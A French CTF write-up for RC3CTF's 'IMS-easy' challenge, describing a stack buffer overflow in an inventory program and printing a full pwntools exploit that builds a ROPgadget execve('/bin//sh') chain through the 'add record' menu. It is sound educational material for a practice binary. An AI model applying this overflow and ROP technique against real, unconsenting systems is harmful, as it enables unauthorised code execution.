/ rc3ctf

RC3CTF - IMS-easy

Pour ce challenge il nous est fourni un binaire (ELF 32-bit compilé en static)

Il nous permet d'ajouter, supprimer, visionner des produits dans un inventaire

vulnérabilité

$ ./IMS-easy 
================================================
|RC3 Inventory Management System (public alpha)|
================================================
1. Add record
2. Delete record
3. View record
4. Quit
Choose: 

En triffouillant un peu on se rend vite compte que cet inventaire est vulnérable au buffer overflow. Le scénario est le suivant :

  • ajouter plusieurs entrées dans l'inventaire
  • trigger l'overflow en appellant l'option 4 : quit

poc:

gdb-peda$ r <<< $(python -c "print '1\n1\n1\n'*7+'4\n'")
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000001 in ?? ()

exploitation

On a le contrôle complet de la stack car chaque enregistrement dans l'inventaire est stocké dans la stack

Il n'y a aucune securité sur le binaire, son exploitation ne sera donc pas difficile

ROPgadget nous fourni une ropchain prête à l'emploi :

Pour créer notre ropchain on doit donc ajouter nos adresse via l'entrée 1 du menu :

 $ ./IMS-easy 
================================================
|RC3 Inventory Management System (public alpha)|
================================================
1. Add record
2. Delete record
3. View record
4. Quit
Choose: 1
Enter product ID: P_TE
Enter product code: P_TE

Le premier champ ID sera converti en int pas besoin de struct.pack('<I'... (ou p32 pour les utilisateurs de pwntools), le champ suivant sera stocké tel quel, nous pouvons stocker 2 addresses dans le champ "product code"

voici une petite fonction qui nous permet d'ecrire 3 addresses dans notre stack

def writeROP(a,b,c):
    r = '1\n' # choix "add entry" du menu
    r+= str(c)+'\n' # champ product ID, il est stocke apres le champ product code dans la stack
    r+= p32(a) # champ product ID part1
    r+= p32(b) # champ product ID part2
    r+= '\n' #on valide
    return r

un appelle a writeROP(0xdeadbeef,0xcafebabe,0x13371337) nous permettra de générer la structure suivante dans la stack

 ---------------
|  0xdeadbeef   |
|  0xcafebabe   |
|  0x13371337   |
 ---------------

On a tout ce qu'il faut pour faire notre exploit !

Voici l'exploit complet :

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack
from pwn import *

r=process('./IMS-easy')
#r=remote('ims.ctf.rc3.club',7777)

def writeROP(a,b,c):
    r = '1\n'
    r+= str(c)+'\n'
    r+= p32(a)
    r+= p32(b)
    r+= '\n'
    return r

#ropchain genere par ROPgadget
rop  = writeROP(0x08073530,0x08073530,0x08073530)*7
rop += writeROP(0x080f0160,0x41414141,0x41414141)
rop += writeROP(0x080bfb56,int('nib/'.encode('hex'),16),0x0809eafd)
rop += writeROP(0x08073530,0x080f0164,0x41414141)
rop += writeROP(0x41414141,0x080bfb56,int('hs//'.encode('hex'),16))
rop += writeROP(0x0809eafd,0x08073530,0x080f0168)
rop += writeROP(0x41414141,0x41414141,0x08055150)
rop += writeROP(0x0809eafd,0x080481d1,0x080f0160)
rop += writeROP(0x080ea1e5,0x080f0168,0x08073530)
rop += writeROP(0x080f0168,0x080f0168,0x080f0160)
rop += writeROP(0x08055150,0x0807fff6,0x0807fff6)
rop += writeROP(0x0807fff6,0x0807fff6,0x0807fff6)
rop += writeROP(0x0807fff6,0x0807fff6,0x0807fff6)
rop += writeROP(0x0807fff6,0x0807fff6,0x0807fff6)
rop += writeROP(0x080497b1,0xdeadbeef,0xdeadbee)
rop += '4\n'


r.send(rop)
r.interactive()
r.close()